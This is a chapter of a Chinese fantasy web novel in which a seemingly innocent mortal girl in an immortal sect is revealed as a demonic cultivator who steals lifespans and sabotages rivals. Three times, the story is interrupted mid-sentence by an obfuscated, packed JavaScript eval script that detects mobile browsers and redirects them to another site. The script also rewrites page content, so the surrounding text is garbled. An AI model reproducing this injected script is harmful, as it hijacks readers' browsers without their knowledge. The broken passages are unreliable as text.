《救赎你的,是反派我啊》 1. 楔子 风雪漫天,沙石走地。 须清宁朝前走着,长剑拂上了雪絮。 在过去,他早会撑下方界挡住这飞雪。 但现下,他怒火中烧。 像是有一根针,在搅动着脑子,让他无法思考,他的心也仿若被尖刀剐着。 系统劝说的话他也听不下去了,他一步步朝前走去,直到走到了山峰。 昏天云沉,青山雪散,一个院落出现在须清宁的眼前,只见桂香薄芳漫,萝青浓荫缀。那绿瓦白墙砌成的宅观,正是须清宁和周拂菱一同生活了三年的地方。 须清宁望着此景,心在发冷,剑竟险些落在地上。 识海中,一声传来:【不是,你这就已经喜欢她了?】 须清宁闭眼,沉默了许久,才说:【我从未喜欢过她。】 但声音已在发颤。 【你不相信我说的?那离开吧。】 【不。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13574736|143004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁证如山。不是么。】 须清宁没有睁眼,不过苍白着脸,停在了矮院前。 【周拂菱,她,一直在骗我。】 风飙雪暗,寒意凛凛,也仿若吹入了人们的心灵。 这一夜,须清宁站在门外,如与冰雪化为一体。 他想进去,却黯败脸色,身体恍若失去了力气。 一道清澈的声音,倏然在须清宁身后响起。 “师兄。” 2. 山门 一个月前。 仙域一重门。东洲。 只见崇山峻岭,上出重霄,千峰万壑,争攒云端。 这正是仙域天霁门的地盘。 当今仙门,三大门执掌权柄。须清宁所在的须家,便是天霁门的执掌家族,位于仙域的东方。 不过这会儿,须清宁并不在这儿。 青阶之上,天霁门弟子们身着白衣青带,饰金剑绿玉,正有序地通过山门。 山门高达三十丈,山门两侧,立有生动石雕,正着凤凰、巨龙、朱雀、白虎争珠之景,是为“四圣补天”的事迹。历史上,四大家族寻得仙法救世,这仙兽,也分别代表着须、邹、宁、夏四大家。 不过,因夏家已败,如今仙域,为其余三家分治。 而此时,往来有序的弟子们,目光落到了一座亭子。 那亭子里,站着一个少女。 她头戴莲花饰样的簪花,身着若有云薄的雪白上褥,穿着绯碧裙,披着一条青色的帔子。 只见她明媚嫮目,朱唇皓齿,生得是让人一眼难忘的活泼漂亮。 但是,她一人孤零零地站在那里。 “这就是周拂菱师妹吗?” “是啊,除了她,还能是谁?” “又在这里等须少掌门?” “自然,除了等须少掌门,还能是什么?啧,她真是心比天高啊。她那样的身份和修为,跟在须少掌门身边,已是鸿运当头,她竟还妄想和须少掌门成侣?真是不知天高地厚。” 弟子们说这话时,目光紧锁那名叫“周拂菱”的姑娘。 作为身在仙门的非修行者,她既让人尊敬,又让人鄙夷。 让人尊敬,是因为须清宁。她是须清宁的恩人。 须清宁,是天霁门的少掌门。 他出生高贵,身上有须家、夏家、宁家三家的血,出生时为须家第十二代嫡长子,可谓含着金汤匙出生。 这位天之骄子,从小便聪颖果决,在修行上亦是惊才绝艳,他九岁入九品启玄,十六岁入六品抱一,二十八岁入三品通神,要知道,这都是其余修者百年才能达成的成就!他可谓不世出的天才。 但这位天之骄子却命途多舛,足足经历三落。 他二十余岁,受父亲继母打压,承受诸多不公,甚至落入妖地,险些遇难; 一百零五岁时,收养他、最爱护他的伯父伯父和其他姊妹兄弟皆在大妖变中遇袭惨死; 一百零九岁时,他被诬陷害死养弟,受十年冤狱,被废仙骨,最终被踢下天绝涧,却仅用十五年再次通神,也洗去冤屈重归,可谓众人眼里的神迹! 周拂菱,便是须清宁在落难时遇见的人。听说,是她在天绝涧外捡到了须清宁。 她温柔可爱,单纯善良,陪伴须清宁许久,须清宁洗冤回到天霁门后,任了少掌门,便把她记到母亲门下,把她收为内门师妹。 这也是众人嫉妒、鄙夷周拂菱的原因。 “须少掌门从他的私库化出如此多的仙材灌在她身上,还亲自教养她,她都无法启玄,这不是浪费是什么?” “她毫无修为,能来四大宗就不错了,怎么还会想着和须少掌门在一起?敢开口和须少掌门提那样的话,不是贪心是什么?” “是啊,须少掌门怎么也只和‘云门双秀’相配,那才是金童玉女呢!” …… 众人说这话时,周拂菱站在亭边。 薄雪落在亭角,她抱着暖炉,像是没听到众人的话一般,不过对着天边的燕子眨了眨眼。 她的目光十分清澈。有时,弟子们望上一眼,也会不忍心再议论下去。 但此时,却有人在替她尴尬。术明剑,姓术,名明剑,是仙门的执事,是须清宁在妖灾救下后收下的护卫,被须清宁拨过来保护周拂菱的。 此外,须清宁还拨了不少人在周拂菱身边,如负责集药的药佐,护身的符佐,都各培养了一位给周拂菱。 术明剑盯着周拂菱,却十分不满。 周拂菱没有修为,他一个大术士,跟在她身边,像什么话?多丢人。 想当初,他被须少掌门救下留用时,别提有多高兴,还以为自己日后能跟着须少掌门进那龙潭或云塔,没曾想…… 见周拂菱还赖在山门前,术明剑深吸了一口气,压下情绪道:“拂菱姑娘……少掌门说,你想清楚前,不会见你的。不如,我们回去?在这里待着,很不好看。” “……”周拂菱望了他一眼。 她一双眼睛如泛秋水,竟让术明剑心里不知为何咯噔了下,竟是一阵恍惚,气息不稳。 他心道,周拂菱这等身份,实际上能做个仙妾就不错了。 在凡域,像他这种四品修士,她这种毫无修为的女子,都是要求着才能进门为妾室的,还得算鸡犬升天。 她太有野望了,竟盯上少掌门那等人物。她怎么敢的?只怕会摔得极惨。 不过,周拂菱扫他一眼后,便又垂眸,用暖炉烤着橘子,一瓣一瓣地剥开。 术明剑看到这儿,又郁气横浮:“……” 周拂菱一向如此,对他态度客气且不错,但他好心规劝时,她便一头热,又是固执,又是虚荣,有时干脆当没听见他的话一样。 术明剑心里腾起火,他曾考虑把这些事告诉须少掌门,但不知为什么,对着少掌门,他又不敢说这些事。 这会儿,忽听朱雀清鸣穿云出,元黄奇色照山峦,众人抬头,术明剑却不由咬了下牙。 又是云宁宗那群人。 云宁宗,正是仙域的又一大宗,掌管西洲云宁,也是须清宁外祖母的家族。 而仙门各大门之间,有“寰刺”制度,既有仙盟首领“仙上”亲自派下督查的仙官,前往各门督查,但主权在掌门和少掌门(或称副掌门)手中。 云宁宗派来天霁门的寰刺,名叫宁承松,是云宁宗的四大长老之一。 但术明剑想到此人心里就仿若梗了刺,此人为人跋扈,且擅长踩高捧低,在仙门高层左右逢源,却对他术明剑没什么好脸色。 因为,术明剑跟着的人,是周拂菱。 这位宁承松却是云宁宗那位丹火仙子的亲信。 云宁宗,丹火仙子,名为宁朝雪,是云宁宗掌门之独女,才绝四方的丹修,自带丹火出生,辅修刀,曾四次平乾、坤等级的妖灾那位仙子,是一个不容小视的人物。 但这样的人物,她自小便心仪须清宁,想和须清宁联姻许久了。 须清宁一直没松口。 听说这位宁承松长老,便是又来替那位尊贵的仙子找掌门、少掌门游说联姻的。 山门之下,忽有一群人鱼贯而出。 他们皆着赤衣金扣,背白剑或金刀,悬青箫或鸦笛。为首之人,长发灰白,双眼炯炯,不知的还以为是怒目金刚,却像是因着发生了什么事,脸色极不好看。 宁承松。术明剑咬牙。 这会儿,他们怒气冲冲下来,要出山门,宁承松见到周拂菱在此候着,忽地脚步一顿,横眉竖眼: “哎呀,这不是周姑娘吗?还有……须少掌门让她养的狗……不,派给她的人么?” 周拂菱款款站着,闻言眉头微蹙了下,轻声道:“宁长老,还请不要妄言。” 她气质温婉,话如莺语,宁长老却压根没听进她的话。 宁长老又看向术明剑,低声问:“怎么,四品剑士便在这山门陪着你们最尊贵的周拂菱姑娘,等着少掌门,就如此荒废光阴?” 术明剑心里不服,但怎么也不敢刺比他厉害的宁长老,他低头不语,倒是有旁的药佐走上来:“宁长老是想出云宁宗,入我天霁门,来指点江山么?这样,似是更符合规制。” 宁长老面冷不语。 偏偏周拂菱看上去温婉,实际上有几分傲,她扭过头去,一副没见到宁长老的样子。 宁长老心里发怒,却转头对其他弟子摇摇头说: “也罢,也就我们大小姐是能容人的。但这一些人的脾性,实在上不得台面,真为宁少掌门一世英杰可惜,要败在身边人身上。” 一位随行的宁长老的弟子说:“罢了,师尊,朝雪仙子和清宁少掌门好事将近,不必为这等人物耗费时光!” 宁长老想到此处,捋胡颔首。 实际上,他们大多数人对周拂菱的态度是如此——不喜,但不会放到心上。 如果周拂菱是个小家族的女儿,又或者是个五品以上的修士,他们都会注意一番,大小姐也一定早就动手。 但偏偏,她什么都不是,没什么耗费心血的。 宁长老想着一事,又是微笑。的确,云宁宗和天霁门,好事将近。 三月前云宁宗云塔秘密法会,梁火密石上刻出谶言,“清须火宁结良缘,泰运仙昌得兴邦”——此言,正在指示须宁两家未来必定会联姻,且能携手踏上鼎盛尊位,执掌仙凡之邦,是吉预之言。 大小姐听说此言时欣喜若狂,认定了心心念念须少掌门是天定良缘,一向反对大小姐心仪须少掌门的宁大宗主和宁夫人,也沉默许久应了此事,甚至打算着手帮大小姐了了此事。 所以,云宁、天霁联姻上天注定,周拂菱这个如蝼蚁一般的人,再跳也没什么用。 “师兄不会和宁朝雪仙子联姻的。” 一道脆生生的声音忽然出现。 周拂菱猛地抬起头,乌黑的眼眸满是不满,她的手捏成拳头。 宁长老却懒得和她浪费时间,羞辱一顿即可,以后也有的是大小姐磋磨这种人,而云宁宗弟子随行之际 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13574737|143004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,故意拢袖震出一道风: “周姑娘,烦请让一让。天霁门没教过你,你还是该懂些礼,身为凡士,对高位修士,当行屈膝礼。你不懂,也不要丢人现眼!” 此风猝不及防拂上周拂菱的肩膀,饶是有符佐惊魂未定地替她挡下,周拂菱也像是站立不稳,猛地撞在石几角下,又引得一番嗤笑。 她身旁的侍官大怒,正要回手,周拂菱道:“等等。” 那云宁宗弟子转身离去,周拂菱盯着他的背影,猛地把一块石头砸在对方背上。 那弟子先前提防着符佐护卫,怎么也没提防周拂菱,而周拂菱的石头,像是有人帮忙一般,竟忽地又砸上弟子的脸。 “姑奶奶,你这是做什么?!”术明剑脸都绿了,明明可以小事化了,她这不是闹大么? 周拂菱面带倔强,眉眼盛薄怒,术明剑见不得她这样子,想拖她离开。 一旁的药佐却把术明剑的手一把打掉,瞪了术明剑一眼,护在周拂菱身前。 周拂菱摇首,也推开了药佐的手。 众人难以置信,宁长老更是铁青了脸: “周拂菱,你怎敢如此,一个无品之人,在天霁山门下攻击五品修士、这般撒野?” “我告诉你,今日就算是须掌门来了,也不护不了你!” 须清宁是少掌门,掌门便是他的叔叔须乐川,如今的东洲天霁第一人。 周拂菱却像是听不进话一样,在术明剑着急的瞪视下,低头抿唇。 宁长老一声暴喝,低头念出咒语,只见天上倏然奔出一条火龙,气势不凡,啸气穿云。 火光似要灼烧在场每一位弟子的眼,然而,那火却不沾周拂菱的身,伴着阵阵令人窒息的威压,不少天霁门弟子都脸色苍白,站立不稳。 但他的法力的确没有打人。 这也是踩着仙门的规则行事,只用威压压人,他也可以狡辩自己“念气失调”,修炼压制之际,其他人不过是误入。 而宁长老,擅长的正是“气”,此地修士,修仙之源材,便是天地元气之太阳之气。 狂风运气,炙浪灼人。周拂菱扶住石桌,像是无力支撑,就要摔倒。 而术明剑后知后觉撑起剑阵。 术明剑震惊地抬眸,这宁长老对元气之调度,精悍卓绝,他狼狈无助地撑出剑阵,眼看要被击破,众人也以为周拂菱要狼狈鼠窜时,却忽听天际传来铿锵钟声。 铛、铛、铛—— 玉振金声,穿过青峰绿野,千林万叶,盘旋震荡,树林沙沙作响—— 青苍天幕之上,如有人展开了画卷,一道霁蓝色的灵力,以苍劲的笔力,画下了一道巨大的御雷法阵。 轰隆—— 法阵上写着“乾精流辉玉池东,盟威圣者名青童”的隶体字,灵力从字体流转至中心,青色的闪电从流云中心刺出,如一道疾驰的火焰,凿开天幕,“轰隆”打向了宁承松长老—— 惊天巨响,似可开天辟地。 若说先前宁承松的威压让不少弟子脸色苍白,战栗晃荡,那现在这道雷阵的威势,却让不少弟子撞上石壁,就要滚落台阶。 但一道温柔的泛着金光的风阵,继而浮起,护住诸位弟子,也横在了周拂菱面前。 周拂菱抿唇。 药佐:“少掌门来了!” 正如宁长老攻击周拂菱时一样,此雷也并未直接击中宁长老,不过是打在一旁山石上。但那威压,如可排山倒海,推天裂地,猛地压在那宁长老身前。 啪! 宁长老竟被打到了山壁上,撞得如瘫软的面团,吐了口血,颤巍巍好半天站不起来。 他像是难以置信,难以置信须清宁竟会出手。 一旁的弟子们愕然地看着这一切,也有人仰望空中的雷阵。 那便是出自两次破一品的少掌门之手的法术吗?一品之术,竟能如此完美。 又听凤凰清鸣阵阵,一辆仙驾,浮现云端,仙雾下落,仙驾停在了山门前。 不少人都知是须清宁来了,不由立刻跪下。 “见过少掌门!” 车上下来的人,是须清宁的副手执官,名昊澄。他身后还跟着几位佐官,毕恭毕敬地候着。 一只带着雪白鹿皮手套的手,撩起微微帘子。 一人露出其隐约形容。 只见车内人一身雪白道服,身披鹤氅,气质清冷矜贵,如一把藏锋利剑,令人只敢远观,不敢近玩。 雪色渗金帷幕遮住了他的形容,但从那修长清劲的手指,再从他握住的那把含霜宝剑,便知这是一位如琢如玉、绝尘傲然的公子。 众人都对须清宁极为尊敬,当即行礼。 执官走向周拂菱,恭声道:“周姑娘,少掌门请你上去叙话。” 3. 改讯 周拂菱无声地望着那车架,那窗边的人似是也在望她,四目相对,那人又扭开头,帷幕和帘子都放下了。 周拂菱沉默了下,便提着裙摆上去。 宁长老大怒:“须少掌门,你竟为了如此凡族之人,对云宁宗出手?!你不怕我告到仙盟和我们的宁听跃宗主那里去吗?介时,仙上和宁宗主大概都要向你问责!” 他话音落下,四下当即陷入寂静,仿若针落都能听见。 这寂静,却继而化作尴尬。 只因车架之上的人,似根本没有把宁长老当回事。 一声轻哂,若有似无地落到雪里。 在宁长老的面红耳赤和众人的敬躬慕目中,须清宁的车架接入云端,扬长而去。 …… 云端之上,凤驾疾驰,只见其金盘为顶,银叶作饰,渗金帷幕垂下,纱面上流淌着云纹、凤纹。 再观车内,因设方寸化为天地的术法,此处空间足有凡间的一座宅院之大,周拂菱所在的空间,墙挂名剑古琴《雪溪图》,地上摆放雅致几榻,最中间的方桌后,摆放着几个雪色的团盖。 佐官点香,须清宁正坐在团盖之上,周拂菱抬眸,已现出形容。 只见他骨重神寒,貌俊气凝,玉鼻傲挺,其背脊挺拔如松,腰肢窄韧如剑,分明不过端坐在那里,审阅仙官奉上的金书,便已贵气逼人。 最让人难忘的是他的那双眼,乌眸如黑色的琉璃,透着股锋利的冷漠,含霜凤眼微睨,便叫人不敢逼视。 他的腿边放着一把雪白剑鞘的宝剑,雷电绕剑身,名“长明”。 取下了鹿皮手套的修长手指上,却有蜿蜒如蛇的伤痕,直爬到手腕,还有翻起血肉的狰狞旧迹。这正是须清宁在十年冤狱中留下的伤痕。他被废去了灵脉。 仔细看,他的耳后也有一道细长的伤痕,但由于他以玉瑱为饰,堪堪挡下。 须清宁偶一抬头,无声地望着对面的周拂菱。 周拂菱正坐在另一个团盖上。她缩在那里,褪去鞋袜,捂住脚踝。 那里浮起一大片红肿,似是她刚才于争端中扭了脚。 “拂菱姑娘,忍一忍,便上完药了。” 一位药佐正为周拂菱小心地上药。 上药期间,周拂菱不错眼珠地盯着须清宁。 他便又垂眸,冷冷盯着手里金书。 周拂菱抿唇: “拂菱有话,想单独与师兄一叙。” 须清宁这才再次抬眸,他清冷的眸子看了会儿火烛,才放下金书,意思是让其他人先行退下。 众人退去了外边,室内唯他二人,周拂菱跪坐在他对面道:“听说你要成亲了。” 须清宁冷眸:“……谁说的?” 他声音也宛若金玉清泉,清冽寒朗。 “宁长老说的。” “所以你信了?” “……” “哦。”须清宁冷笑一声,“那你怎么不信,邹家和须蕤曾传,我与魔修勾结,杀亲证道,夺寿屠善,这不听上去更可信么?” 须清宁似一向擅长这种嘲讽的语气,但他嘲讽时不会让人觉得他很刻薄,只觉让人以为他很严肃、很冷厉。 “……”周拂菱低头,“好了,师兄,我知道我错信他人。拂菱错了。” 二人又一阵沉默。 须清宁:“总之,我从无与人结侣之意。” “那上次的事,怎么说?”周拂菱捏着自己的手指,像是十分紧张,小声问。 “什么事?” 周拂菱垂头: “就是上次……我和你说的心意。师兄说,不想和人结侣,包括拂菱吗?” 须清宁盯着她,又缓缓别开脸。 “对不起。” “我知道了。师兄。” 须清宁轻敲几上金铃。 随行仙官进来,便见周拂菱眼含秋水地望着少掌门,然而,少掌门似如过去一般无意接收,别开头垂着眼。 当真是一段孽缘。 仙官心里感慨着,捧着玉盘过来,只见玉盘上放着护身符咒、喂剑灵石、洗脉灵药……都为周拂菱所需。 其品相上等,也无不是旁的修行者求之不得的。 一旁的术金剑便眼红了,暗暗咬住牙根,心道这些好东西,就如此给了周拂菱,当真浪费。 但谁让她运气好,救了少掌门,还正好是个漂亮的小姑娘呢。 不过,术金剑腹诽归腹诽,可不敢当着须清宁的面说这些,热情地要帮周拂菱收下这些灵物。 不知怎地,一道犀利寒意,似覆在了他头顶,像是有什么人在冷淡地审视他,术金剑抬眸,只见须清宁没在看他,脸沉在缭绕的香雾里。 执官昊澄道:“周姑娘,回去吧。” “其他仙官,还望留下叙话。” …… 东洲,分为五部(地理单位)。 须家主要居住于五部中央的天霁部,宫观落于天霁群山,有十峰,但由于须家如今人丁凋零,只余二脉,不少山峰都空了下来。 须清宁因此拥有一半的山峰,其中一座叫冰鉴峰的山峰,也是须清宁小时候和母亲一同居住的山峰,被他划给了周拂菱。 在周拂菱和须清宁没有因为结侣问题闹掰时,一同住在此处。 这里不少器件都是周拂菱亲自打理的。 四方柜里,放上了四野八方收罗来的奇植异物,高墙之上,也挂满了五市三坊中收来的仙物,如按在土地上就能让花苗发芽的锄头、按在树上就能让树木倒下的斧头、和对着天空就能让地图显现的罗盘。 不管周拂菱来此的目的是什么,她像是一向喜欢探索让生活便利的方式,也喜欢思考改善不合理、让人不轻松的机制。 所以,她虽然没有修为,性情也似有几分柔弱呆萌,却能把冰鉴峰的内务打理得井井有条。因此她在冰鉴峰内的人际也不错。 今日,周拂菱带着一堆丹药符咒回来,身后却没有须少掌门的影,她又一脸闷闷不乐,众人便知,是她又在须少掌门那里撞了冷钉子了,不由心里叹气。 看上谁不好呢,看上须少掌门这位百年无意开花的铁树。 一些同门为了让周拂菱散心,便把冰鉴峰一些财务上的事宜送给周拂菱过目。 术明剑见此状,就有些看不过眼了。 他觉得很不公平。 须清宁先前美曰其名,要锻炼周拂菱做事的能力,便把冰鉴峰交给周拂菱打理。 但没修为的凡间来的小姑娘,怎么服众?她还只对着须清宁笑,对他那么傲。 术明剑想着,便缓缓走到了周拂菱面前,见周拂菱低头看着金书,不由又在心里鄙夷了一番她的野心和不知天高地厚。 “拂菱姑娘,你睡去罢。这山中之事,还是我来看罢。少掌门说了,我为佐官督护,可与你一同共治。” 话音刚落,术明剑不知为何,望见周拂菱姣好的面容,纤细的手指,他又是心头一动。 实际上,最近他总是对她心头一动,本想按捺住,但想想,等到周拂菱冷静下来,便能知道还是得找个低等一些的仙士依靠才是对。 他为四品,于她已是高攀。 娶了她,他也能离须少掌门近点,升任进禄,不在话下。 术明剑说着,也抬首握住周拂菱手中金册的另一侧,想要抽走代行,在他看来,他的动作很霸气,行为也很果敢,周拂菱应当被他触动,他愿意这样帮她。 他本以为周拂菱会领他的情,不想周拂菱抬眸,那双纤柔的手,捏着另一端,皱起眉头: “师兄不是说,我和术先生共治么?为何术先生拿走我的金册?” 术明剑没料到周拂菱如此不识趣,心里又有些不舒服,但这会儿,笑容满面: “怎会?我不是要拿走,是要共治,少掌门不是说你我应当一同审这金册上的事宜么?” 仙门之中,有玉牒金书,玉牒用来传讯,金书则是行政文书。 术明剑料想周拂菱不敢阻拦。 她也真没阻拦,像是有几分脆弱地微微侧身,术明剑便霸气地坐在她身边。 软玉在旁,温香在侧,术明剑不由有几分心猿意马,本想考考周拂菱,考住她好展现下自己的学识,不想周拂菱全都答得出来,全都会,又不由有些气。 “师兄都教过。”她的一双眼睛,又单纯,又隐藏着她的野心和虚荣。 术明剑实在不喜周拂菱如此,实在忍不住,便悄悄使坏。 帮周拂菱处理金书时,他暗暗握住金书的另一侧,将灵力传至指尖,试图用灵力搅乱金书的文字。 这种法子,可以乱去凡人的念,让凡人错漏百出,逐渐困去。 周拂菱盯着金书,果然缓缓阖眼,还支颐颔首。 术明剑暗暗勾起唇角,温声道:“小菱,放弃少掌门吧。你也知道少掌门经历过什么。他和前须仙师、况山首还有那须蕤的事……都让他不想结侣。” “少掌门发过的誓,一定不会违背。他既然曾经对着他的父亲须乐旬仙师说了不和况山首一样的凡族之人结侣,那便一定不会。当然,况山首是个好人,不过作为后母,因误会和少掌门产生了些嫌隙,大家都是被那罪大恶极的须蕤蒙蔽了。” “……”周拂菱像是越来越困,闭上眼睛。 “以后,便只当少掌门为师兄,可好?莫要钓死在一棵树上。仙域四洲、青山凡族七大山,全是大好青年,不必再行事行得如此难看……” “咚”地一声,周拂菱的头倒在案几上。她昏过去了。 术明剑见着她的睡容,微微一笑。 他抬手,便想试探着把周拂菱抱入室内,却倏然被一只手冷冷挡住。 抬眸,来人竟是一位冰鉴峰仙官,是符执,姓贺名茵。 对方冷冷道:“你在做什么呢?” “我,我在帮助周拂菱师妹呀。”术明剑头顶流汗。 “是么?” “是啊。” 术明剑心道烦死了。他知道这位叫作贺茵的仙官,也来自凡族,却一向爱多管闲事,和周拂菱交好。 他曾几次见贺茵为周拂菱解围,也听周拂菱称贺茵为“贺茵姐姐”。 贺茵说:“我送拂菱回去。你也在此等着。等我出来。” “少掌门让我带你去玉牒阁收讯,似有妖事派给你。” “什么?” …… 玉牒阁中,术明剑蹙眉颦锁,难以相信自己所见。 他竟倏然被派走了,派去治理一处名为“康荒斋”之地的妖灾。 妖灾惊变,便是仙域和凡域在星会二年的万妖之乱后,一直未解决的大患。万妖之乱,凡间旧皇李氏不甘在和四大仙门的斗争中落败,剑劈幽井,万妖入世。 此后,世间十二大绝涧祸乱仙凡,绝涧灾变后也生小妖地,造乱通灾,民苦仙亡。而仙界一向把妖灾分为乾、坤、震、巽、坎、离、艮、兑八级。 以先天八卦为序,乾为上难,兑为下易。术明剑如今被派往的妖地便是坎级妖地,称不上九死一生,但也绝不轻松。 本想躲在冰鉴峰的术明剑气愤非常,冷冷地、焦虑地对贺茵道:“须少掌门为何如此下令?” 贺茵盯着那“康荒斋”三字,淡淡抬头,翻了个白眼:“我怎么知道?” 二人正在冰鉴峰的传玉阁中,数道青线如星芒,与各山脉相连,与各天星相接,这正是冰鉴峰的收讯之处。 术明剑冷哼一声,贺茵也背过声去,二人正要打开玉牒细看审过,却忽听“砰”“砰”两声,二人都直挺挺地倒下了。 周拂菱从暗处走了出来。 她望着二人,三人脚下都有影,但周拂菱的影子,竟似有千重! 若是这会儿,任何一位修士在,恐怕都能从她的影子中,判断出她这是魔修功法! 《魔气太阴论》中有云,“魔修之征,为千重魔影”。 而更恐怖的是,周拂菱的千重影出现、再在她把他们弄晕之际,贺、术二人完全未有察觉,那传玉阁四周挂起的示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13574738|143004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔铃,也全然未响! 周拂菱蹲下来,目光似还是和先前一般单纯,她先展开了术明剑手中的玉牒,上面写了那名叫“康荒斋”的妖地的治妖指示,也写了术明剑需要完成的任务。 周拂菱手指微动,只见玉牒之上,字符变幻——她把“去北地开坤阵”改为了“去东南开巽阵”,又把去“若遇意外,跳入幽井,为保命,备三延灵符”,改为“备一延灵符”。 之后,她把玉牒放入了术明剑的手中,声音清澈柔亮: “你自己要抢着看的,术明剑。” 此后,周拂菱起身,她脚下的重影,像是更不稳定了起来,竟是撕扯跳伏,虚晃不定,她扶住头,承受了一阵疼痛,才又把目光转向贺茵的玉牒。 贺茵的玉牒,信息更为繁杂、详细: [野尉府:汵秦部康荒村,出坤级妖变。令冰鉴峰门下督护术明剑前往,辅助伐妖。] [狩光一百七十二年三月初五,将于中洲龙潭部启万山宴,凡域山首况允初将带各山山主入龙潭。] 周拂菱又往下看去,一条术法,为贺茵的玉牒创了一道隐秘的空间,她解开,里面是一个叫花月兮的人传来一讯: [阿茵,我们查到了你那云宁宗的父亲在康荒斋留下的线索。万山宴去龙潭一叙。] “……” 结界之上,星星点点。 周拂菱双眸却沉不见底,不见光芒。 她放回玉牒,再次抬头,看地上二人,如在看虫子。 “夺寿。”周拂菱说。 二人的身体突然一震,周拂菱的身前,铁画扭转,银勾拔提,两道字,浮现在二人手侧: ——[五十七年又九月十二日。] ——[一百六十九年又五月十日。] 别人不知道这是什么。但是周拂菱知道。 这是术明剑和贺茵的寿命。 她掌心一翻,血光如群蚊,飞上了二人的手腕,钻入其中,一道血光划过他们的眉心,啃咬、吞噬。 她偏头看着二人。 而这时,若是任何一位仙域高手在,恐怕都会大吃一惊! 因为周拂菱散出的气息,竟同时有魔息和妖息! 这不可能! 魔始为旧皇李氏,妖始为幽井邪怪,这本就是两道,常理来说不可能同修,因为根本不是同一族类可修之法。 而周拂菱若妖魔同修,必定有多重灵脉,多重金丹,但这样的修士,常理来说,不可能存在! 而她的功法,也不是如今仙域经书中所录之法其一。精湛绝伦,却看不出出处! 周拂菱垂首。 只见那字变了: [四十七年又九月十二日。] [一百三十九年又五月十日。] 字符变幻间,血光四溢,被吸入了周拂菱的手臂。 地上二人,脸色都黯败了几分。因为他们都被吸走了数十年寿命。 周拂菱见状,觉得他们丑了些,又把他们的脸色修复好。 她沉眸。 “夺寿”,其实只是她修行的第一个功法。 可以通过吸他人寿命,来提升自己的修为。但现在不太好用。她品阶上去了,吸十年百年,也只能提升一点点。不小心吸多了,也会很麻烦,那个人会爆体。她暂时还想做个“好人”。 而她总共会五个功法。 她目前最想用的,其实是—— “杀亲”。 杀亲证道,杀父杀母杀姐杀妹杀兄杀弟杀子杀侣,皆可以。 杀一个,功效比“夺寿”好多了,堪比夺他人万年寿,还可以吸附那人的功法,稳固高阶入魔者的心神。 可谓省事。 但周拂菱现在无母无父,没亲人,很多年前,她有个自称她哥哥的人,也蠢得把自己仙骨弄浊了。 所以,她就寻思,找一个满意的道侣。 周拂菱物色了很久。 她不喜欢弱者,所以她只找一品或从一品。 她也厌恶丑鬼,所以只找最好看的。 所以,她找了半天,定下了多年前有一面之缘的须清宁。 结果,须清宁竟不答应。 他竟然不答应!!! 周拂菱想到这个事,满心愤怒,恨不得撕碎冰鉴峰所有人的脸泄愤,再看看须清宁的表情。 但她愤怒归愤怒,却并不打算做这件事。因为这件事并不理智,也不符合她的长远利益,至少现在。 她下定决心,等得到了须清宁,如果真的有合适的时机,再好好“回报”他。 他该长长记性。 …… 又三日,周拂菱在玉牒上收到了贺茵的消息。 贺茵:[小菱,有好消息!你猜是什么?] [是什么?] [术明剑在康荒斋治灾时犯了错,为逃避责罚,意图临阵脱逃,被少掌门罚着要在山门前吊着责打一百鞭呢!] [哇!真是好消息!] 周拂菱把玉牒放下后,却在心里啧了声,可惜,她还以为能直接弄死术明剑呢。 她双手抱在胸前。从小,周拂菱的母亲父亲都教导她,谁惹了她,或者看谁不顺眼,直接碎尸万段,杀此人全家,最好怎么让对方怎么不痛快怎么来,直接吃了都行。 ——“有别的法子么?”她那会儿问。 “别的法子?”她最喜欢、最尊敬的阿娘摸着她的头,温声笑道,“这是最好的法子。别的,小菱不要学,不然娘亲爹爹不要你了哦。” 她娘那会儿是这么说,但后来,周拂菱没有违背,也被抛弃了。 被抛弃后,来仙门后,周拂菱看着其他人的做法,才渐渐学着这么迂回地处理不讨喜的人。她想知道为什么娘亲让她不能这么做。 这次结果,果然让周拂菱不是很满意,她还以为,这术明剑能直接死呢。 有须清宁这个罚人但不罚死的心软东西横在中间,术明剑死不了了。 周拂菱可惜地叹了口气。 4. 康荒 术明剑正在受罚。 烈日下,他被挂在山门的刑台上,被一鞭鞭地打。 他全身骨骼都在疼痛,仿若下一刻就要断掉,他的灵脉神体仿若灼烧,仿若顷刻就要晕倒,不由心里充满懊恼和屈辱。 术明剑,因为看错了信息,在妖灾中放出巨鬼,还临阵脱逃。 须清宁亲自下令罚他,这百鞭,大概要生生把他打下两个小境界。 “这术明剑受了这等刑罚,少掌门大概不会再让他回冰鉴峰了……” “康荒斋的状况现下如何?” 